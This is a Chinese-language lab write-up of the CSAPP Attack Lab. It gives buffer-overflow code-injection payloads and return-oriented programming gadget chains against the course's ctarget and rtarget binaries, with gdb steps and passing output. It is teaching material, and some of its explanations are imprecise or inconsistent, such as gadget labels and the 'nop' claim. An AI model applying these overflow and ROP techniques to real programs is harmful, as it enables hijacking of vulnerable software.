课程主页:http://www.cs.cmu.edu/afs/cs/academic/class/15213-f15/www/schedule.html

课程资料:https://github.com/EugeneLiu/translationCSAPP

课程视频:https://www.bilibili.com/video/av31289365/

这一部分回顾CSAPP的Attack Lab。

参考资料:

https://www.jianshu.com/p/db731ca57342

整个栈的地址和结构

为了后续讨论方便,这里列出栈的地址和其作用。

0x5561dc78 buffer[0-3]
0x5561dc7c buffer[4-7]
0x5561dc80 buffer[8-11]
0x5561dc84 buffer[12-15]
0x5561dc88 buffer[16-19]
0x5561dc8c buffer[20-23]
0x5561dc90 buffer[24-27]
0x5561dc94 buffer[28-31]
0x5561dc98 buffer[32-35]
0x5561dc9c buffer[36-39]
0x5561dca0 return address
0x5561dca4 return address
0x5561dca8 父栈
0x5561dcac 父栈

Part I: Code Injection Attacks

1

首先查看getbuf的汇编码:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

buffer的长度为0x28=40,即输出最长为40,所以我们只要在40位之后输入自己需要的内容即可。

找到touch1的地址:

00000000004017c0 <touch1>

0x4017c0

注意内存的形式如下:

所以我们的输入要和目标相反,即

c0 17 40

所以构造如下输入文件Q1:

30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
c0 17 40

然后运行如下命令得到A1:

gdb hex2raw
run < Q1 > A1

使用如下命令运行即可:

gdb ctarget
run -q -i A1

得到如下结果:

Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:1:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 C0 17 40 
[Inferior 1 (process 10407) exited normally]

备注:最好生成文件不要有txt后缀,我一开始带后缀始终有问题。

2

首先代码注入的方式如下:

备注:返回栈的地址用8个字节存储。

然后使用gdb找到栈的位置,即上图中的return address,方法如下:

gdb ctarget
(gdb) break *0x4017ac
(gdb) run -q -i A2
(gdb) print /x $rsp
$1 = 0x5561dc78

即0x5561dc78为我们需要的地址。

接着查看我们需要执行的操作,注意touch2的地址:

00000000004017ec <touch2>

以及cookie:

0x59b997fa

所以我们的命令如下:

mov $0x59b997fa,%rdi
push $0x4017ec
retq

备注,注意push的值是存储在rsp寄存器。

然后进行编译:

gcc -c L2.s
objdump -d L2.o > L2.d

得到如下结果:

L2.o:     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq   

备注:经过尝试,前面的命令只要按照顺序输入即可,无需反序。

所以最后结果为:

48 c7 c7 fa
97 b9 59 68
ec 17 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00	
78 dc 61 55
00 00 00 00

然后运行如下命令得到A2:

gdb hex2raw
run < Q2 > A2

使用如下命令运行即可:

gdb ctarget
run -q -i A2

得到如下结果:

Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 
[Inferior 1 (process 4292) exited normally]

3

这个实验和前一个实验类似,不过要将字符串注入,注意到如下代码:

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval){
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

上述随机操作会使得getbuf栈中的结果被破坏,所以字符串不能存储在这部分的栈中,而getbuf的父栈不会被破坏,所以应该将字符串存储在该部分,这也是这部分的核心难点。

从整个栈的地址和结构中得到父栈的地址为0x5561dca8,所以字符串应该存储在此处,于是汇编码如下:

mov $0x5561dca8,%rdi
push $0x4018fa
ret

然后进行编译:

gcc -c L3.s
objdump -d L3.o > L3.d

得到如下结果:

L3.o:     文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 a8 dc 61 55 	mov    $0x5561dca8,%rdi
   7:	68 fa 18 40 00       	pushq  $0x4018fa
   c:	c3                   	retq   

然后计算cookie的16进制表示:

char a[100] = "59b997fa";
for (int i = 0; i < 9; i++){
	printf("%x\n", a[i]);
}

得到如下结果:

35 39 62 39
39 37 66 61
00

所以最后结果为:

48 c7 c7 a8 
dc 61 55 68
fa 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55
00 00 00 00
35 39 62 39
39 37 66 61
00

然后运行如下命令得到A3:

gdb hex2raw
run < Q3 > A3

使用如下命令运行即可:

gdb ctarget
run -q -i A3

得到如下结果:

Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 
[Inferior 1 (process 4589) exited normally]

Part II: Return-Oriented Programming

实验4,5为Return-Oriented Programming,由于栈会随机初始化,所以不能在栈上存储代码,只能利用已有的代码拼凑成我们需要的结果。

回顾汇编代码:

mov $0x59b997fa,%rdi
push $0x4017ec
retq
mov $0x5561dca8,%rdi
push $0x4018fa
ret

所以无论如何,我们一定需要将值移动到%rdi上,对应的二进制操作为

48 89 ?7
48 89 ?f

在反汇编结果中搜索48 89,得到如下代码:

move rsp rdi
4019a2
00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq   

其中move rsp rdi为操作,0x4019a2为地址。

利用类似的方法搜索出我们需要的代码块,得到如下结果:

(%rdi,%rsi,1),%rax
4019d6
00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq  

move rsp rax
401a06
0000000000401a03 <addval_190>:
  401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax
  401a09:	c3                   	retq   
  
move rsp rdi
4019a2
00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq   

move rax rdi
4019b0
00000000004019ae <setval_237>:
  4019ae:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)
  4019b4:	c3                   	retq   

movl eax edx
4019dd
00000000004019db <getval_481>:
  4019db:	b8 5c 89 c2 90       	mov    $0x90c2895c,%eax
  4019e0:	c3                   	retq   

movl ecx esi
401a27
0000000000401a25 <addval_187>:
  401a25:	8d 87 89 ce 38 c0    	lea    -0x3fc73177(%rdi),%eax
  401a2b:	c3                   	retq   

movl rdx rcx
401a34
0000000000401a33 <getval_159>:
  401a33:	b8 89 d1 38 c9       	mov    $0xc938d189,%eax
  401a38:	c3                   	retq 

pop rax
4019cc
00000000004019ca <getval_280>:
  4019ca:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
  4019cf:	c3                   	retq  

move %rax %rdi
4019a2
00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq  

move %rsp %rax
401a06
0000000000401a03 <addval_190>:
  401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax
  401a09:	c3                   	retq  

这里注意两点,第一点是2比特的操作会被忽略,例如

48 89 c7 c7
c0

等价于

48 89 c7
c0

第二点是4比特的操作不会被忽略,所以要选择nop操作,例如我们选择

0000000000401a25 <addval_187>:
  401a25:	8d 87 89 ce 38 c0    	lea    -0x3fc73177(%rdi),%eax
  401a2b:	c3                   	retq   

而不是

0000000000401a11 <addval_436>:
  401a11:	8d 87 89 ce 90 90    	lea    -0x6f6f3177(%rdi),%eax
  401a17:	c3                   	retq   

这是因为

38 c0

对应nop操作。

例子

来看个ROP的具体例子:

4

我们原始的汇编代码为:

mov $0x59b997fa,%rdi
push $0x4017ec
retq

结合之前的代码块,将上述操作改写为:

push $0x59b997fa
pop rax
move %rax %rdi
push $0x4017ec
retq

注意到

pop rax
4019cc
00000000004019ca <getval_280>:
  4019ca:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
  4019cf:	c3                   	retq  

所以结合之前的例子,不难得到前两个操作对应如下代码:

cc 19 40 00
00 00 00 00
fa 97 b9 59
00 00 00 00

接着查看如下代码块:

move %rax %rdi
4019a2
00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq  

所以操作3,4对应如下代码:

a2 19 40 00
00 00 00 00

最后一个操作的代码如下:

ec 17 40 00
00 00 00 00

所以整体代码如下:

30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
cc 19 40 00
00 00 00 00
fa 97 b9 59
00 00 00 00
a2 19 40 00
00 00 00 00
ec 17 40 00
00 00 00 00

然后运行如下命令得到A4:

gdb hex2raw
run < Q4 > A4

使用如下命令运行即可:

gdb rtarget
run -q -i A4

得到如下结果:

Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:2:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 
[Inferior 1 (process 5152) exited normally]

5

和上一个实验类似,总体流程如下:

1.pop rax(rax=偏移,4019cc) 
2.movl rax rdx(4019dd)
3.movl rdx rcx(401a34)
4.movl rcx rsi(401a27)
5.move %rsp %rax(401a19)
6.move %rax %rdi(4019a2)
7.(%rdi,%rsi,1),%rax(得到地址)(4019d6)
8.move rax rdi(参数地址)(4019a2)
9.函数位置
10.字符串

其中偏移为20,是操作5和操作10的距离($4\times 5= 20$),整体代码如下:

30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
30 30 30 30
cc 19 40 00
00 00 00 00
20 00 00 00
00 00 00 00
dd 19 40 00
00 00 00 00
34 1a 40 00
00 00 00 00
27 1a 40 00
00 00 00 00
06 1a 40 00
00 00 00 00
a2 19 40 00
00 00 00 00
d6 19 40 00
00 00 00 00
a2 19 40 00
00 00 00 00
fa 18 40 00
00 00 00 00
35 39 62 39
39 37 66 61
00 00 00 00

然后运行如下命令得到A5:

gdb hex2raw
run < Q5 > A5

使用如下命令运行即可:

gdb rtarget
run -q -i A5

得到如下结果:

Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
	user id	bovik
	course	15213-f15
	lab	attacklab
	result	1:PASS:0xffffffff:rtarget:3:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 27 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 
[Inferior 1 (process 5202) exited normally]